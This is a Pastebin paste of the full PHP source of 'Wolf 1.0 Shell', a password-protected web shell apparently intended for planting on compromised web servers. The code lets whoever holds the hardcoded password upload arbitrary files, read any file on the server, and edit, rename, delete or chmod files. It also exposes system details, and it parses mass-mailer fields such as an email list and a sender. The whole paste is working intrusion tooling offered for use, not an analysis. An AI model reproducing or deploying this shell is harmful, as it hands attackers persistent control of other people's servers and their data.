Advertisement
Aissa-WoLF1200

Wolf 1.0 Shell

Mar 5th, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.33 KB | None | 0 0
  1. <?php
  2.  
  3. @session_start();
  4. @set_time_limit(0);
  5.  
  6. //PASSWORD CONFIGURATION
  7.  
  8. @$pass = $_POST['pass'];
  9. $chk_login = boy;
  10. $password = "aissa";
  11.  
  12. //END CONFIGURATION
  13.  
  14. if($pass == $password)
  15. {
  16. $_SESSION['nst'] = "$pass";
  17. }
  18.  
  19. if($chk_login == true)
  20. {
  21. if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
  22. {
  23. die("
  24. <title>.:|Wolf 1.0 Priv8 Shell|:.</title>
  25. <center>
  26. <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
  27. <tr><td valign=middle align=center>
  28. <table width=200 bgcolor=black border=6 bordercolor=red>
  29. <tr><td>
  30. <font size=2 face=verdana><center>
  31. <b></font></a><br></b>
  32. </center>
  33. <form method=post>
  34. <font size=1 face=verdana color=red><strong><center>.:: Wolf 1.0 Priv8 Shell ::.</center></strong><br>
  35. <input type=password name=pass size=30>
  36. </form>
  37. <b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
  38. <b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
  39. <b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."<br>
  40. <b>Contact Me: aissawolf1200@gmail.com</b>
  41. </td></tr></table>
  42. </td></tr></table>
  43. ");
  44. }
  45. }
  46. if(isset($_POST['action'] ) ){
  47. $action=$_POST['action'];
  48. $message=$_POST['message'];
  49. $emaillist=$_POST['emaillist'];
  50. $from=$_POST['from'];
  51. $replyto=$_POST['replyto'];
  52. $subject=$_POST['subject'];
  53. $realname=$_POST['realname'];
  54. $file_name=$_POST['file'];
  55. $contenttype=$_POST['contenttype'];
  56.  
  57. $message = urlencode($message);
  58. $message = ereg_replace("%5C%22", "%22", $message);
  59. $message = urldecode($message);
  60. $message = stripslashes($message);
  61. $subject = stripslashes($subject);
  62. }
  63. ?>
  64. <?php
  65. set_time_limit(0);
  66. error_reporting(0);
  67.  
  68. if(get_magic_quotes_gpc()){
  69. foreach($_POST as $key=>$value){
  70. $_POST[$key] = stripslashes($value);
  71. }
  72. }
  73. echo '<!DOCTYPE HTML>
  74. <HTML>
  75. <HEAD>
  76. <link href="" rel="stylesheet" type="text/css">
  77. <title>Wolf shell</title>
  78. <style>
  79. body{
  80. font-family: "Racing Sans One", cursive;
  81. background-color: #e6e6e6;
  82. text-shadow:0px 0px 1px #757575;
  83. }
  84. #content tr:hover{
  85. background-color: #636263;
  86. text-shadow:0px 0px 10px #fff;
  87. }
  88. #content .first{
  89. background-color: silver;
  90. }
  91. #content .first:hover{
  92. background-color: silver;
  93. text-shadow:0px 0px 1px #757575;
  94. }
  95. table{
  96. border: 1px #000000 dotted;
  97. }
  98. H1{
  99. font-family: "Rye", cursive;
  100. }
  101. a{
  102. color: #000;
  103. text-decoration: none;
  104. }
  105. a:hover{
  106. color: #fff;
  107. text-shadow:0px 0px 10px #ffffff;
  108. }
  109. input,select,textarea{
  110. border: 1px #000000 solid;
  111. -moz-border-radius: 5px;
  112. -webkit-border-radius:5px;
  113. border-radius:5px;
  114. }
  115. </style>
  116. </HEAD>
  117. <BODY>
  118. <H1><center>Wolf 1.0 Shell</center></H1>
  119. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  120. <tr><td>Current Path : ';
  121. if(isset($_GET['path'])){
  122. $path = $_GET['path'];
  123. }else{
  124. $path = getcwd();
  125. }
  126. $path = str_replace('\\','/',$path);
  127. $paths = explode('/',$path);
  128.  
  129. foreach($paths as $id=>$pat){
  130. if($pat == '' && $id == 0){
  131. $a = true;
  132. echo '<a href="?path=/">/</a>';
  133. continue;
  134. }
  135. if($pat == '') continue;
  136. echo '<a href="?path=';
  137. for($i=0;$i<=$id;$i++){
  138. echo "$paths[$i]";
  139. if($i != $id) echo "/";
  140. }
  141. echo '">'.$pat.'</a>/';
  142. }
  143. echo '</td></tr><tr><td>';
  144. if(isset($_FILES['file'])){
  145. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  146. echo '<font color="green">File Upload Done.</font><br />';
  147. }else{
  148. echo '<font color="red">File Upload Error.</font><br />';
  149. }
  150. }
  151. echo '<b><br>'.php_uname().'<br></b>';
  152. echo '<form enctype="multipart/form-data" method="POST">
  153. Upload File : <input type="file" name="file" />
  154. <input type="submit" value="upload" />
  155. </form>
  156. </td></tr>';
  157. if(isset($_GET['filesrc'])){
  158. echo "<tr><td>Current File : ";
  159. echo $_GET['filesrc'];
  160. echo '</tr></td></table><br />';
  161. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  162. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  163. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  164. if($_POST['opt'] == 'chmod'){
  165. if(isset($_POST['perm'])){
  166. if(chmod($_POST['path'],$_POST['perm'])){
  167. echo '<font color="green">Change Permission Done.</font><br />';
  168. }else{
  169. echo '<font color="red">Change Permission Error.</font><br />';
  170. }
  171. }
  172. echo '<form method="POST">
  173. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  174. <input type="hidden" name="path" value="'.$_POST['path'].'">
  175. <input type="hidden" name="opt" value="chmod">
  176. <input type="submit" value="Go" />
  177. </form>';
  178. }elseif($_POST['opt'] == 'rename'){
  179. if(isset($_POST['newname'])){
  180. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  181. echo '<font color="green">Change Name Done.</font><br />';
  182. }else{
  183. echo '<font color="red">Change Name Error.</font><br />';
  184. }
  185. $_POST['name'] = $_POST['newname'];
  186. }
  187. echo '<form method="POST">
  188. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  189. <input type="hidden" name="path" value="'.$_POST['path'].'">
  190. <input type="hidden" name="opt" value="rename">
  191. <input type="submit" value="Go" />
  192. </form>';
  193. }elseif($_POST['opt'] == 'edit'){
  194. if(isset($_POST['src'])){
  195. $fp = fopen($_POST['path'],'w');
  196. if(fwrite($fp,$_POST['src'])){
  197. echo '<font color="green">Edit File Done.</font><br />';
  198. }else{
  199. echo '<font color="red">Edit File Error.</font><br />';
  200. }
  201. fclose($fp);
  202. }
  203. echo '<form method="POST">
  204. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  205. <input type="hidden" name="path" value="'.$_POST['path'].'">
  206. <input type="hidden" name="opt" value="edit">
  207. <input type="submit" value="Go" />
  208. </form>';
  209. }
  210. echo '</center>';
  211. }else{
  212. echo '</table><br /><center>';
  213. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  214. if($_POST['type'] == 'dir'){
  215. if(rmdir($_POST['path'])){
  216. echo '<font color="green">Delete Dir Done.</font><br />';
  217. }else{
  218. echo '<font color="red">Delete Dir Error.</font><br />';
  219. }
  220. }elseif($_POST['type'] == 'file'){
  221. if(unlink($_POST['path'])){
  222. echo '<font color="green">Delete File Done.</font><br />';
  223. }else{
  224. echo '<font color="red">Delete File Error.</font><br />';
  225. }
  226. }
  227. }
  228. echo '</center>';
  229. $scandir = scandir($path);
  230. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  231. <tr class="first">
  232. <td><center>Name</center></td>
  233. <td><center>Size</center></td>
  234. <td><center>Permissions</center></td>
  235. <td><center>Options</center></td>
  236. </tr>';
  237.  
  238. foreach($scandir as $dir){
  239. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  240. echo "<tr>
  241. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  242. <td><center>--</center></td>
  243. <td><center>";
  244. if(is_writable("$path/$dir")) echo '<font color="green">';
  245. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  246. echo perms("$path/$dir");
  247. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  248.  
  249. echo "</center></td>
  250. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  251. <select name=\"opt\">
  252. <option value=\"\"></option>
  253. <option value=\"delete\">Delete</option>
  254. <option value=\"chmod\">Chmod</option>
  255. <option value=\"rename\">Rename</option>
  256. </select>
  257. <input type=\"hidden\" name=\"type\" value=\"dir\">
  258. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  259. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  260. <input type=\"submit\" value=\">\" />
  261. </form></center></td>
  262. </tr>";
  263. }
  264. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  265. foreach($scandir as $file){
  266. if(!is_file("$path/$file")) continue;
  267. $size = filesize("$path/$file")/1024;
  268. $size = round($size,3);
  269. if($size >= 1024){
  270. $size = round($size/1024,2).' MB';
  271. }else{
  272. $size = $size.' KB';
  273. }
  274.  
  275. echo "<tr>
  276. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  277. <td><center>".$size."</center></td>
  278. <td><center>";
  279. if(is_writable("$path/$file")) echo '<font color="green">';
  280. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  281. echo perms("$path/$file");
  282. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  283. echo "</center></td>
  284. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  285. <select name=\"opt\">
  286. <option value=\"\"></option>
  287. <option value=\"delete\">Delete</option>
  288. <option value=\"chmod\">Chmod</option>
  289. <option value=\"rename\">Rename</option>
  290. <option value=\"edit\">Edit</option>
  291. </select>
  292. <input type=\"hidden\" name=\"type\" value=\"file\">
  293. <input type=\"hidden\" name=\"name\" value=\"$file\">
  294. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  295. <input type=\"submit\" value=\">\" />
  296. </form></center></td>
  297. </tr>";
  298. }
  299. echo '</table>
  300. </div>';
  301. }
  302. echo '<br />Wolf <font color="red">1.0</font>, Devloped By <font color="red">Aissa wolf1200(the source has been moved and devloped)</font><br />Email: <font color="red">aissawolf1200@gmail.com </font>
  303. </BODY>
  304. </HTML>';
  305. function perms($file){
  306. $perms = fileperms($file);
  307.  
  308. if (($perms & 0xC000) == 0xC000) {
  309. // Socket
  310. $info = 's';
  311. } elseif (($perms & 0xA000) == 0xA000) {
  312. // Symbolic Link
  313. $info = 'l';
  314. } elseif (($perms & 0x8000) == 0x8000) {
  315. // Regular
  316. $info = '-';
  317. } elseif (($perms & 0x6000) == 0x6000) {
  318. // Block special
  319. $info = 'b';
  320. } elseif (($perms & 0x4000) == 0x4000) {
  321. // Directory
  322. $info = 'd';
  323. } elseif (($perms & 0x2000) == 0x2000) {
  324. // Character special
  325. $info = 'c';
  326. } elseif (($perms & 0x1000) == 0x1000) {
  327. // FIFO pipe
  328. $info = 'p';
  329. } else {
  330. // Unknown
  331. $info = 'u';
  332. }
  333.  
  334. // Owner
  335. $info .= (($perms & 0x0100) ? 'r' : '-');
  336. $info .= (($perms & 0x0080) ? 'w' : '-');
  337. $info .= (($perms & 0x0040) ?
  338. (($perms & 0x0800) ? 's' : 'x' ) :
  339. (($perms & 0x0800) ? 'S' : '-'));
  340.  
  341. // Group
  342. $info .= (($perms & 0x0020) ? 'r' : '-');
  343. $info .= (($perms & 0x0010) ? 'w' : '-');
  344. $info .= (($perms & 0x0008) ?
  345. (($perms & 0x0400) ? 's' : 'x' ) :
  346. (($perms & 0x0400) ? 'S' : '-'));
  347.  
  348. // World
  349. $info .= (($perms & 0x0004) ? 'r' : '-');
  350. $info .= (($perms & 0x0002) ? 'w' : '-');
  351. $info .= (($perms & 0x0001) ?
  352. (($perms & 0x0200) ? 't' : 'x' ) :
  353. (($perms & 0x0200) ? 'T' : '-'));
  354.  
  355. return $info;
  356. }
  357. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement